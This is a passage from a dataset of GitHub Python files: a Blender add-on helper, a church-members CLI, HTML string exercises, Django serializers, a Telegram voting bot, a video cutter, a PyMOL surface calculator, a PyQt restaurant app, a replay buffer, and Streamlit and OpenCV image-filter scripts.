= theme_color.hsv\n\n return icon\n\n\ndef update_icon(base, icon, theme_color):\n icon.icon_pixels = base.icon_pixels\n colored_icon = []\n\n for offset in range(len(icon.icon_pixels)):\n idx = offset * 4\n\n r = icon.icon_pixels_float[idx]\n g = icon.icon_pixels_float[idx+1]\n b = icon.icon_pixels_float[idx+2]\n a = icon.icon_pixels_float[idx+3]\n\n # add back some brightness and opacity blender takes away from the custom icon\n r = min(r+r*0.2,1)\n g = min(g+g*0.2,1)\n b = min(b+b*0.2,1)\n a = min(a+a*0.2,1)\n\n # make the icon follow the theme color (assuming the icon is white)\n r *= theme_color.r\n g *= theme_color.g\n b *= theme_color.b\n\n colored_icon.append(r)\n colored_icon.append(g)\n colored_icon.append(b)\n colored_icon.append(a)\n\n icon.icon_pixels_float = colored_icon\n\n\ndef filter_items_by_name_insensitive(pattern, bitflag, items, propname=\"name\", flags=None, reverse=False):\n \"\"\"\n Set FILTER_ITEM for items which name matches filter_name one (case-insensitive).\n pattern is the filtering pattern.\n propname is the name of the string property to use for filtering.\n flags must be a list of integers the same length as items, or None!\n return a list of flags (based on given flags if not None),\n or an empty list if no flags were given and no filtering has been done.\n \"\"\"\n import fnmatch\n\n if not pattern or not items: # Empty pattern or list = no filtering!\n return flags or []\n\n if flags is None:\n flags = [0] * len(items)\n\n # Make pattern case-insensitive\n pattern = pattern.lower()\n\n # Implicitly add heading/trailing wildcards.\n pattern = \"*\" + pattern + \"*\"\n\n for i, item in enumerate(items):\n name = getattr(item, propname, None)\n\n # Make name case-insensitive\n name = name.lower()\n\n # This is similar to a logical xor\n if bool(name and fnmatch.fnmatch(name, pattern)) is not bool(reverse):\n flags[i] |= bitflag\n\n return flags\n","repo_name":"PiloeGAO/PizzaModifier_Blender_2.90","sub_path":"blender/release/scripts/addons/object_collection_manager/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":28925,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"70119433367","text":"import json\nimport logging\nfrom datetime import datetime\n\nimport click\nfrom rich.pretty import pprint\n\nfrom app.cmd import utils\nfrom app.internal import service, api, authentication\nfrom app.internal.config import CONFIG_PATH, Configuration\n\n__gateway = api.ChurchMembersGateway()\n__authentication_service = authentication.AuthenticationService(__gateway)\n__member_service = service.ChurchMembersService(__gateway)\n\n\n@click.command()\n@click.option(\"--host\", prompt=\"Host\", help=\"The church members API host\")\n@click.option(\"--church-id\", prompt=\"Church ID\", help=\"The church ID\")\ndef setup(host, church_id):\n try:\n Configuration.save_config({\"host\": host, \"church_id\": church_id})\n click.echo(\n click.style(f\"Setup saved on {CONFIG_PATH}\", fg=\"green\"),\n err=True,\n color=True,\n )\n except Exception as e:\n click.echo(click.style(e, fg=\"red\"), err=True, color=True)\n logging.exception(\"Error storing config\")\n\n\n@click.command()\n@click.option(\"--user\", prompt=\"User\", help=\"The username\")\n@click.option(\"--password\", prompt=\"Password\", help=\"The password\", hide_input=True)\ndef login(user, password):\n try:\n __authentication_service.login(user, password)\n click.echo(click.style(\"Login done\", fg=\"green\"), err=True, color=True)\n except Exception as e:\n click.echo(click.style(e, fg=\"red\"), err=True, color=True)\n logging.exception(\"Error doing login\")\n\n\n@click.command(\"get-member\")\n@click.option(\"--member-id\", prompt=\"Member ID\", help=\"The member ID\")\n@click.option('--format-type',\n type=click.Choice(['json', 'text'], case_sensitive=False))\ndef get_member(member_id, format_type):\n try:\n member = __member_service.get_member(member_id)\n if format_type == \"text\":\n person = member[\"person\"]\n form = {\n \"Nome\": person[\"fullName\"],\n 'Dt. Nascimento': datetime.strptime(person[\"birthDate\"], \"%Y-%m-%dT%H:%M:%SZ\").strftime(\"%d/%m/%Y\")\n }\n if \"contact\" in person:\n if \"cellphone\" in person[\"contact\"]:\n form['Celular'] = person[\"contact\"][\"cellphone\"]\n if \"phone\" in person[\"contact\"]:\n form['Telefone'] = person[\"contact\"][\"phone\"]\n click.echo(click.style('Telefone: ', fg='blue') + person[\"contact\"][\"phone\"])\n if \"email\" in person[\"contact\"]:\n form['Email'] = person[\"contact\"][\"email\"]\n utils.echo_form(form)\n else:\n pprint(member, indent_guides=False)\n except Exception as e:\n click.echo(click.style(e, fg=\"red\"), err=True, color=True)\n logging.exception(\"Error getting member\")\n\n\n@click.command(\"search-member\")\n@click.option(\"--name\", prompt=\"Name\", help=\"The member name\")\n@click.option(\"--select\", is_flag=True)\ndef search_member(name, select):\n try:\n token = __authentication_service.get_token()\n result = __member_service.search_member(name, token)\n if select:\n index = 1\n for member in result:\n member_name = member[\"person\"][\"fullName\"]\n click.echo(f\"{index}) {member_name}\")\n index = index + 1\n choice = click.prompt('Select a member', type=int)\n choice = choice - 1\n if choice > len(result) or choice < 0:\n raise Exception(\"Invalid option\")\n member = __member_service.get_member(result[choice][\"id\"], token)\n click.echo(json.dumps(member, indent=4, sort_keys=True, ensure_ascii=False))\n else:\n pprint(result, expand_all=True, indent_guides=False)\n except Exception as e:\n click.echo(click.style(e, fg=\"red\"), err=True, color=True)\n logging.exception(\"Error searching member\")\n","repo_name":"brunodmartins/church-members-cli","sub_path":"app/cmd/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70064399769","text":"'''\r\nWrite a for loop that iterates over a list of strings, tokens, and counts how many of them are XML tags. XML is a data language similar to HTML. You can tell if a string is an XML tag if it begins with a left angle bracket \"<\" and ends with a right angle bracket \">\". Keep track of the number of tags using the variable count.\r\n'''\r\n\r\ntokens = ['', 'Hello World!', '']\r\ncount = 0\r\n\r\n# write your for loop here\r\n\r\n\r\n\r\nfor token in tokens:\r\n if token[0] == '<' and token[-1] == '>':\r\n count = count + 1\r\n\r\nprint(count)\r\n\r\n\r\n'''\r\nWrite some code, including a for loop, that iterates over a list of strings and creates a single string, html_str, which is an HTML list. For example, if the list is items = ['first string', 'second string'], printing html_str should output:\r\n'''\r\n\r\nitems = ['first string', 'second string']\r\nhtml_str = \"
      \\n\" # \"\\ n\" is the character that marks the end of the line, it does\r\n # the characters that are after it in html_str are on the next line\r\n\r\n# write your code here\r\n\r\nfor item in items:\r\n html_str = html_str + \"
    • {}
    • \\n\".format(item)\r\n\r\nhtml_str = html_str + \"
    \"\r\n\r\nprint(html_str)","repo_name":"rebecanonato89/Programas_Matematica","sub_path":"formatos_HTML.py","file_name":"formatos_HTML.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73299648727","text":"from rest_framework import serializers\n\nfrom core import settings\nfrom .models import CustomProfile, Address\nfrom versatileimagefield.serializers import VersatileImageFieldSerializer\n\n\nclass RetrieveProfileSerializer(serializers.ModelSerializer):\n image = VersatileImageFieldSerializer(sizes='BASIC_IMAGE_SET')\n\n class Meta:\n model = CustomProfile\n fields = ('first_name',\n 'last_name',\n 'birth_date',\n 'gender',\n 'image')\n\n\nclass UpdateProfileSerializer(RetrieveProfileSerializer):\n birth_date = serializers.DateField(input_formats=settings.DATE_INPUT_FORMATS, required=False)\n first_name = serializers.CharField(required=False)\n last_name = serializers.CharField(required=False)\n\n\nclass AddressSerializer(serializers.ModelSerializer):\n class Meta:\n model = Address\n fields = ('custom_profile',\n 'street_name',\n 'city_name',\n 'apartment_num',\n 'house_num',\n 'address_type',\n 'default_use',\n 'country',\n 'zip')\n\n\nclass RetrieveAddressSerializer(AddressSerializer):\n class Meta(AddressSerializer.Meta):\n fields = AddressSerializer.Meta.fields + ('id',)\n","repo_name":"jultar2000/Book-service","sub_path":"Backend/profiles/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11110927316","text":"import asyncio\nfrom typing import Dict\n\nfrom aiogram import Bot, Dispatcher, types\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.types import Message\nfrom aiogram.utils import executor\n\nfrom telegram_voter.events import get_event_from_string\nfrom telegram_voter.keyboards import (\n get_keyboard,\n up_code,\n down_code,\n accepted_code,\n declined_code,\n)\nfrom telegram_voter.redis_utils import (\n connect_to_redis,\n subscribe_to_grabber_events,\n push_gr_event,\n pop_gr_event,\n register_vote,\n upvote,\n downvote,\n publish_approved_submission,\n)\nfrom telegram_voter.utils import get_configuration, get_current_utc_timestamp\nfrom telegram_voter.votes import Vote, VoteAttemptResult\n\nconfig = get_configuration()\n\nbot = Bot(token=config.telegram_token)\ndp = Dispatcher(bot, storage=MemoryStorage())\n\n\n@dp.message_handler(commands=[\"start\", \"help\"])\nasync def send_welcome(message: types.Message):\n \"\"\"\n This handler will be called when user sends `/start` or `/help` command\n \"\"\"\n await message.reply(\"Hi!\\nI'm VoterBot!\")\n\n\n@dp.callback_query_handler(lambda c: c.data and c.data.startswith(\"tv_\"))\n@dp.throttled(\n None, rate=config.vote_throttle,\n)\nasync def process_callback(callback_query: types.CallbackQuery):\n if callback_query.message.chat.id != config.target_group:\n return\n\n if callback_query.from_user.is_bot:\n return\n\n mid = callback_query.message.message_id\n voter = callback_query.from_user.id\n\n if callback_query.data == up_code:\n v, res = upvote(mid, voter)\n await process_vote(callback_query, mid, res, v)\n if v.accepted:\n publish_approved_submission(v, config.tags, config.service_id)\n\n elif callback_query.data == down_code:\n v, res = downvote(mid, voter)\n await process_vote(callback_query, mid, res, v)\n\n elif callback_query.data == accepted_code or callback_query.data == declined_code:\n await bot.answer_callback_query(callback_query.id, text=\"This vote is finished\")\n else:\n await bot.answer_callback_query(callback_query.id)\n\n\nasync def process_vote(callback_query, mid, res, v):\n if res == VoteAttemptResult.VoteWasFinished:\n await bot.answer_callback_query(callback_query.id, text=\"This vote is over!\")\n elif res == VoteAttemptResult.VotedAlready:\n await bot.answer_callback_query(callback_query.id, text=\"You've voted already!\")\n elif res == VoteAttemptResult.Accepted:\n await bot.edit_message_reply_markup(\n chat_id=callback_query.message.chat.id,\n message_id=mid,\n reply_markup=get_keyboard(vote=v),\n )\n await bot.answer_callback_query(callback_query.id, text=\"Roger that!\")\n else:\n await bot.answer_callback_query(callback_query.id, text=\"Unknown error\")\n\n\nasync def poll_for_memes():\n while True:\n vote_interval = 1 if config.vote_interval < 1 else config.vote_interval\n scheduled_timestamp: float = get_current_utc_timestamp() + vote_interval\n\n for _ in range(config.vote_batch_size):\n event_str = pop_gr_event()\n if event_str:\n try:\n event = get_event_from_string(event_str)\n\n caption = event.description if config.with_description else None\n mess: Message = await bot.send_photo(\n config.target_group,\n event.url,\n caption=caption,\n parse_mode=\"Markdown\",\n reply_markup=get_keyboard(),\n )\n vote = Vote.from_got_event(\n mess.message_id, config.vote_threshold, event\n )\n register_vote(vote)\n await asyncio.sleep(0.5)\n except Exception:\n pass\n\n current_timestamp = get_current_utc_timestamp()\n if current_timestamp < scheduled_timestamp:\n await asyncio.sleep(scheduled_timestamp - current_timestamp)\n\n\ndef grabber_handler(event: Dict) -> None:\n push_gr_event(event[\"data\"], config.tags)\n\n\nif __name__ == \"__main__\":\n connect_to_redis(config)\n gr_event_thread = subscribe_to_grabber_events(grabber_handler)\n\n dp.loop.create_task(poll_for_memes())\n\n executor.start_polling(dp, skip_updates=True)\n","repo_name":"stardreamer/the-one-memer","sub_path":"voters/telegram-voter/telegram_voter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"427807601","text":"import os\r\nimport random\r\nfrom moviepy.video.io.ffmpeg_tools import ffmpeg_extract_subclip\r\nimport shutil\r\n\r\n# Nhập đường dẫn đến thư mục input và output sau khi chạy code\r\ninput_folder = input(\"Nhập đường dẫn đến thư mục input: \")\r\noutput_folder = input(\"Nhập đường dẫn đến thư mục output: \")\r\nerror_folder = os.path.join(input_folder, \"error\")\r\n\r\n# Tạo thư mục error nếu chưa tồn tại\r\nos.makedirs(error_folder, exist_ok=True)\r\n\r\ndef process_videos(input_folder, output_folder, error_folder):\r\n # Lặp qua tất cả các tệp tin trong thư mục input\r\n for filename in os.listdir(input_folder):\r\n if filename.endswith(\".mp4\"):\r\n input_path = os.path.join(input_folder, filename)\r\n \r\n # Tạo tên tệp tin đầu ra\r\n output_filename = f\"output_{filename}\"\r\n output_path = os.path.join(output_folder, output_filename)\r\n \r\n try:\r\n # Lấy một khoảng ngẫu nhiên từ video\r\n start_time = random.randint(0, 10) # Chọn thời điểm bắt đầu ngẫu nhiên (0 - 10 giây)\r\n end_time = start_time + random.randint(3, 5) # Kết thúc sau 3-5 giây\r\n \r\n # Trích xuất phần video và lưu vào thư mục output\r\n ffmpeg_extract_subclip(input_path, start_time, end_time, targetname=output_path)\r\n \r\n except Exception as e:\r\n print(f\"Lỗi xảy ra với video {filename}: {e}\")\r\n # Di chuyển video lỗi không cắt được vào thư mục error\r\n shutil.move(input_path, os.path.join(error_folder, filename))\r\n\r\n# Thực hiện xử lý video\r\nprocess_videos(input_folder, output_folder, error_folder)\r\n","repo_name":"Hoangmanhchinhmmo/cut_random_videos_in_folder","sub_path":"CUT_VIDEO_RANDOM.py","file_name":"CUT_VIDEO_RANDOM.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74932100249","text":"import os\r\n\r\n\r\ndef get_interface_surfaces_from_pdb(pdb_file, LIG_RESNAME=\"LIG\"):\r\n import pymol as pml\r\n\r\n pdb_name = os.path.basename(pdb_file).replace(\".pdb\", \"\")\r\n pml.cmd.load(pdb_file)\r\n\r\n pml.cmd.create(\"complex\", \"polymer or resn LIG\") # isolate the protein and ligand from the whole structure\r\n pml.cmd.set(\"dot_solvent\", 0)\r\n complex_whole_surf = pml.cmd.get_area(\"complex\")\r\n pml.cmd.set(\"dot_solvent\", 1)\r\n complex_whole_SASA = pml.cmd.get_area(\"complex\")\r\n pml.cmd.delete(\"complex\")\r\n\r\n pml.cmd.create(\"prot\", \"polymer\")\r\n pml.cmd.create(\"ligand\", \"resn %s\" % LIG_RESNAME)\r\n prot_atomnum = pml.cmd.count_atoms(\"prot\")\r\n lig_atomnum = pml.cmd.count_atoms(\"ligand\")\r\n if prot_atomnum == 0 or lig_atomnum == 0: # One of the selections was empty!\r\n return [None]*6\r\n pml.cmd.delete(pdb_name)\r\n pml.cmd.select(\"prot_interface\", \"prot within 3.5 of ligand\")\r\n pml.cmd.set(\"dot_solvent\", 0)\r\n prot_interface_surf = pml.cmd.get_area(\"prot_interface\")\r\n prot_whole_surf = pml.cmd.get_area(\"prot\")\r\n pml.cmd.set(\"dot_solvent\", 1)\r\n prot_interface_SASA = pml.cmd.get_area(\"prot_interface\")\r\n prot_whole_SASA = pml.cmd.get_area(\"prot\")\r\n\r\n pml.cmd.select(\"lig_interface\", \"ligand within 3.5 of prot\")\r\n pml.cmd.set(\"dot_solvent\", 0)\r\n lig_interface_surf = pml.cmd.get_area(\"lig_interface\")\r\n lig_whole_surf = pml.cmd.get_area(\"ligand\")\r\n pml.cmd.set(\"dot_solvent\", 1)\r\n lig_interface_SASA = pml.cmd.get_area(\"lig_interface\")\r\n lig_whole_SASA = pml.cmd.get_area(\"ligand\")\r\n pml.cmd.delete(\"all\") # IMPORTANT: otherwise the molecules will remain in the next round too!\r\n\r\n mean_interface_surf = (prot_whole_surf+lig_whole_surf-complex_whole_surf)/2\r\n mean_interface_SASA = (prot_whole_SASA+lig_whole_SASA-complex_whole_SASA)/2\r\n\r\n return [prot_interface_surf, prot_interface_SASA, lig_interface_surf, lig_interface_SASA,\r\n mean_interface_surf, mean_interface_SASA]","repo_name":"tevang/sqm-ml","sub_path":"library/features/protein_ligand_complex_descriptors/interface_surfaces.py","file_name":"interface_surfaces.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"35178168925","text":"from PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nimport sys\r\nimport os\r\nimport viewcustinfo,viewcustbonus,viewlogininfo,signup,loginscreen,foodcategory,foodsubcategory,FoodInfo,viewfoodinfo,viewfoodsubcat,viewfoodcat,dufoodcat,dufcs,dufoodinfo\r\nclass main(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.setWindowTitle(\" Restaurant Management Screen \")\r\n self.setGeometry(5,40,1950,980)\r\n newfont = QFont(\"Times\",18,QFont.Bold)\r\n mainMenu = self.menuBar()\r\n operationsMenu1 = mainMenu.addMenu(\"Add Data\")\r\n operationsMenu2 = mainMenu.addMenu(\"View Data\")\r\n operationsMenu3 = mainMenu.addMenu(\"Edit Data\")\r\n operationsMenu4 = mainMenu.addMenu(\"Login And Signup\")\r\n action1 = QAction(\"Add Food Category\", self)\r\n action1.setShortcut(\"Ctrl+N\")\r\n action2 = QAction(\"Add Food Sub Category\", self)\r\n action2.setShortcut(\"Ctrl+O\")\r\n action3 = QAction(\"Add Food Info\", self)\r\n action3.setShortcut(\"Ctrl+P\")\r\n action4 = QAction(\"View Food Info\", self)\r\n action4.setShortcut(\"Ctrl+q\")\r\n action5 = QAction(\"View Food Sub Category Info\", self)\r\n action5.setShortcut(\"Ctrl+r\")\r\n action6 = QAction(\"View Food Category Info\", self)\r\n action6.setShortcut(\"Ctrl+s\")\r\n action7 = QAction(\"Update And Delete Food Category\", self)\r\n action7.setShortcut(\"Ctrl+t\")\r\n action8 = QAction(\"Update And Delete Food Sub Category\", self)\r\n action8.setShortcut(\"Ctrl+u\")\r\n action9 = QAction(\"Update And Delete Food Info\", self)\r\n action9.setShortcut(\"Ctrl+v\")\r\n action10 = QAction(\"Sign Up\", self)\r\n action10.setShortcut(\"Ctrl+w\")\r\n action11 = QAction(\"LogIN\", self)\r\n action11.setShortcut(\"Ctrl+x\")\r\n action12 = QAction(\"View Login Info\", self)\r\n action12.setShortcut(\"Ctrl+y\")\r\n action13 = QAction(\"View Customer Bonus Points\", self)\r\n action13.setShortcut(\"Ctrl+z\")\r\n action14 = QAction(\"View Customer Info\", self)\r\n action14.setShortcut(\"Ctrl+a\")\r\n\r\n image = QImage(os.path.abspath(\"pic5.jpg\"))\r\n sImage = image.scaled(QSize(1950, 1000))\r\n palette = QPalette()\r\n palette.setBrush(10, QBrush(sImage))\r\n self.setPalette(palette)\r\n\r\n operationsMenu1.addAction(action1)\r\n operationsMenu1.addAction(action2)\r\n operationsMenu1.addAction(action3)\r\n operationsMenu2.addAction(action4)\r\n operationsMenu2.addAction(action6)\r\n operationsMenu2.addAction(action5)\r\n operationsMenu3.addAction(action7)\r\n operationsMenu3.addAction(action8)\r\n operationsMenu3.addAction(action9)\r\n operationsMenu2.addAction(action12)\r\n operationsMenu2.addAction(action13)\r\n operationsMenu2.addAction(action14)\r\n operationsMenu4.addAction(action10)\r\n operationsMenu4.addAction(action11)\r\n\r\n action1.triggered.connect(self.foodcategory)\r\n action2.triggered.connect(self.foodsubcategory)\r\n action3.triggered.connect(self.foodinfo)\r\n action4.triggered.connect(self.viewfoodinfo)\r\n action5.triggered.connect(self.viewfoodsubcatinfo)\r\n action6.triggered.connect(self.viewfoodcatinfo)\r\n action7.triggered.connect(self.editfoodcategory)\r\n action8.triggered.connect(self.editfoodsubcategory)\r\n action9.triggered.connect(self.editfoodinfo)\r\n action10.triggered.connect(self.signup)\r\n action11.triggered.connect(self.login)\r\n action12.triggered.connect(self.logininfo)\r\n action13.triggered.connect(self.custbonus)\r\n action14.triggered.connect(self.custinfo)\r\n\r\n self.show()\r\n\r\n def foodcategory(self):\r\n try:\r\n self.obj = foodcategory.AddFoodCategory()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def foodsubcategory(self):\r\n try:\r\n self.obj = foodsubcategory.AddFoodSubCategory()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def foodinfo(self):\r\n try:\r\n self.obj =FoodInfo.AddFoodInfo()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def viewfoodinfo(self):\r\n try:\r\n self.obj = viewfoodinfo.ViewFoodDetails()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def viewfoodsubcatinfo(self):\r\n try:\r\n self.obj = viewfoodsubcat.ViewFSCDetails()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def viewfoodcatinfo(self):\r\n try:\r\n self.obj = viewfoodcat.ViewFCDetails()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def editfoodcategory(self):\r\n try:\r\n self.obj = dufoodcat.DelAndUpdFoodCat()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def editfoodsubcategory(self):\r\n try:\r\n self.obj = dufcs.delandupdfoodsubcat()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def editfoodinfo(self):\r\n try:\r\n self.obj = dufoodinfo.DelAndUpdFoodInfo()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def signup(self):\r\n try:\r\n self.obj = signup.signup()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def login(self):\r\n try:\r\n self.obj = loginscreen.LoginScreen()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def logininfo(self):\r\n try:\r\n self.obj = viewlogininfo.viewlogin()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def custbonus(self):\r\n try:\r\n self.obj = viewcustbonus.custbonus()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\n def custinfo(self):\r\n try:\r\n self.obj = viewcustinfo.custinfo()\r\n self.obj.show()\r\n except BaseException as ex:\r\n print(ex)\r\n\r\nif __name__ == '__main__':\r\n app = QApplication(sys.argv)\r\n ex = main()\r\n sys.exit(app.exec_())\r\n\r\n","repo_name":"riteshagarwal17/Restaurant_management_system","sub_path":"mainscreen.py","file_name":"mainscreen.py","file_ext":"py","file_size_in_byte":6514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32565845448","text":"\"\"\"Storage for previously seen transitions.\"\"\"\n\nimport random\n\nimport numpy as np\nimport tensorflow as tf\n\n\nclass ReplayBuffer:\n\n\tdef __init__(self, max_capacity, actionDim, stateDim):\n\t\tself.max_capacity = max_capacity\n\t\tself.capacity = max_capacity\n\t\tself.head = 0\n\t\tself.size = 0\n\t\tself.iState = np.zeros((max_capacity, stateDim))\n\t\tself.action = np.zeros((max_capacity, actionDim))\n\t\tself.reward = np.zeros(max_capacity)\n\t\tself.fState = np.zeros((max_capacity, stateDim))\n\t\tself.terminal = np.zeros(max_capacity, bool)\n\t\twith tf.variable_scope('replay_buffer', initializer=tf.initializers.zeros):\n\t\t\tself.cap = tf.get_variable('capacity', (), dtype=tf.int32, trainable=False)\n\t\t\tself.h = tf.get_variable('head', (), dtype=tf.int32, trainable=False)\n\t\t\tself.sz = tf.get_variable('size', (), dtype=tf.int32, trainable=False)\n\t\t\tself.si = tf.get_variable('s_i', (max_capacity, stateDim), dtype=tf.float32, trainable=False)\n\t\t\tself.a = tf.get_variable('a', (max_capacity, actionDim), dtype=tf.float32, trainable=False)\n\t\t\tself.r = tf.get_variable('r', (max_capacity,), dtype=tf.float32, trainable=False)\n\t\t\tself.sf = tf.get_variable('s_f', (max_capacity, stateDim), dtype=tf.float32, trainable=False)\n\t\t\tself.t = tf.get_variable('t', (max_capacity,), dtype=tf.bool, trainable=False)\n\n\tdef restore(self, session):\n\t\tself.capacity, self.head, self.size, self.iState, self.action, self.reward, self.fState, self.terminal = session.run(\n\t\t\t[self.cap, self.h, self.sz, self.si, self.a, self.r, self.sf, self.t]\n\t\t)\n\n\tdef save(self, session):\n\t\tself.cap.load(self.capacity, session)\n\t\tself.h.load(self.head, session)\n\t\tself.sz.load(self.size, session)\n\t\tself.si.load(self.iState, session)\n\t\tself.a.load(self.action, session)\n\t\tself.r.load(self.reward, session)\n\t\tself.sf.load(self.fState, session)\n\t\tself.t.load(self.terminal, session)\n\n\tdef setCapacity(self, capacity):\n\t\tself.capacity = int(round(capacity))\n\t\tif self.size > self.capacity:\n\t\t\tself.size = self.capacity\n\n\tdef storeTransition(self, si, a, r, sf, t):\n\t\tself.iState[self.head, :] = si\n\t\tself.action[self.head, :] = a\n\t\tself.reward[self.head] = r\n\t\tself.fState[self.head, :] = sf\n\t\tself.terminal[self.head] = t\n\t\tif self.size < self.capacity:\n\t\t\tself.size += 1\n\t\tself.head = (self.head + 1) % self.max_capacity\n\n\tdef sample(self, n):\n\t\tif n > self.size:\n\t\t\treturn [], [], [], [], []\n\t\tidx = np.array(random.sample(range(self.size), n))\n\t\tidx = (self.head - idx - 1 + self.max_capacity) % self.max_capacity\n\t\treturn self.iState[idx, :], self.action[idx, :], self.reward[idx], self.fState[idx, :], self.terminal[idx]\n","repo_name":"LuisLaraP/OnlineLearningController","sub_path":"olc/replay_buffer.py","file_name":"replay_buffer.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"43882968665","text":"import streamlit as st\nfrom PIL import Image\n\nimport numpy as np\nimport cv2 as cv\n\n\n\nDEMO_IMAGE = 'index.jpg'\n\n\n@st.cache\ndef sketch(img):\n img2grey = cv.cvtColor(img , cv.COLOR_BGR2GRAY)\n img2grey = cv.medianBlur(img2grey,5)\n edge = cv.Laplacian(img2grey,cv.CV_8U,ksize =5)\n\n ret , threshold = cv.threshold(edge,70 , 255 , cv.THRESH_BINARY_INV)\n\n return threshold\n\ndef cartoon(img, grey_mode = False):\n threshold = sketch(img)\n\n filtered = cv.bilateralFilter(img,10,250,250)\n carto = cv.bitwise_and(filtered , filtered,mask = threshold)\n\n if grey_mode:\n return cv.cvtColor(carto , cv.COLOR_BGR2GRAY)\n \n return carto\n\n\n\n\n\n\nst.title(\"cartoon the image\")\n\n\nimg_file_buffer = st.file_uploader(\"Upload an image\", type=[ \"jpg\", \"jpeg\",'png'])\n\n\nif img_file_buffer is not None:\n image = np.array(Image.open(img_file_buffer))\n\nelse:\n demo_image = DEMO_IMAGE\n image = np.array(Image.open(demo_image))\n\n\nst.image(image,caption = 'original_image' , use_column_width = True)\n\n\n\nsketch_image = sketch(image)\ncartoon_image = cartoon(image)\ncartoon_image_grey = cartoon(image , True)\n\nsketch_grey , sketch_color = cv.pencilSketch(image ,sigma_r = 0.1 , shade_factor = 0.1)\nstylish_image = cv.stylization(image , sigma_s = 60 , sigma_r = 0.07)\n\n\n\n\n\nst.subheader('Sketch Image')\nst.image(sketch_image , caption = 'sketch_image' , use_column_width = True)\n\n\nst.subheader('Cartoonized Image')\nst.image(cartoon_image , caption = 'cartoon_image' , use_column_width = True)\n\n\n\nst.subheader('Cartoonized Image grey')\nst.image(cartoon_image_grey , caption = 'cartoon_image' , use_column_width = True)\n\n\n\nst.subheader('Pencil Image')\nst.image(sketch_grey , caption = 'sketch_grey' , use_column_width = True)\n\n\nst.subheader('Stylized Image')\nst.image(stylish_image , caption = 'stylish_image' , use_column_width = True)\n\n\n\n\n","repo_name":"Harsh-2200/Showcase","sub_path":"cartoon/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"26802192274","text":"\"\"\" \r\nA31\r\nМеню «Изображение» Настроить: \r\n Баланс белого\r\n\"\"\"\r\n\r\nimport cv2 as cv\r\nimport numpy as np\r\nfrom PIL import Image\r\n\r\n\r\nclass DTO:\r\n img_in: Image = None\r\n img_out: Image = None\r\n # White balance\r\n white_balance: int = None # [-255, 255]\r\n\r\n\r\ndef white_balance(dto: DTO) -> DTO:\r\n # convert\r\n ocv_img = pil_to_ocv(dto.img_in)\r\n img_LAB = cv.cvtColor(ocv_img, cv.COLOR_BGR2LAB)\r\n\r\n # do the thing\r\n avg_a = np.average(img_LAB[:, :, 1])\r\n avg_b = np.average(img_LAB[:, :, 2])\r\n img_LAB[:, :, 1] = img_LAB[:, :, 1] - (\r\n (avg_a - 128) * (img_LAB[:, :, 0] / 255.0) * dto.white_balance\r\n )\r\n img_LAB[:, :, 2] = img_LAB[:, :, 2] - (\r\n (avg_b - 128) * (img_LAB[:, :, 0] / 255.0) * dto.white_balance\r\n )\r\n\r\n # convert back\r\n res = cv.cvtColor(img_LAB, cv.COLOR_LAB2BGR)\r\n dto.img_out = ocv_to_pil(res)\r\n\r\n return dto\r\n\r\n\r\n# Helper: Convert img from OpenCV to PIL.Image\r\ndef ocv_to_pil(img: np.array) -> Image:\r\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\r\n return Image.fromarray(img)\r\n\r\n\r\n# Helper: Convert img from PIL.Image to OpenCV\r\ndef pil_to_ocv(img: Image) -> np.array:\r\n ocv_img = np.array(img)\r\n return ocv_img[:, :, ::-1].copy()\r\n\r\n\r\n# Just for testing\r\nif __name__ == \"__main__\":\r\n\r\n def empty(*args):\r\n pass\r\n\r\n def show(img: Image):\r\n win_name = \"Trackbars\"\r\n cv.namedWindow(win_name)\r\n cv.resizeWindow(win_name, 500, 100)\r\n cv.createTrackbar(\"white_balance\", win_name, 0, 255, empty)\r\n cv.setTrackbarMin(\"white_balance\", win_name, -255)\r\n dto = DTO\r\n dto.img_in = img\r\n while True:\r\n 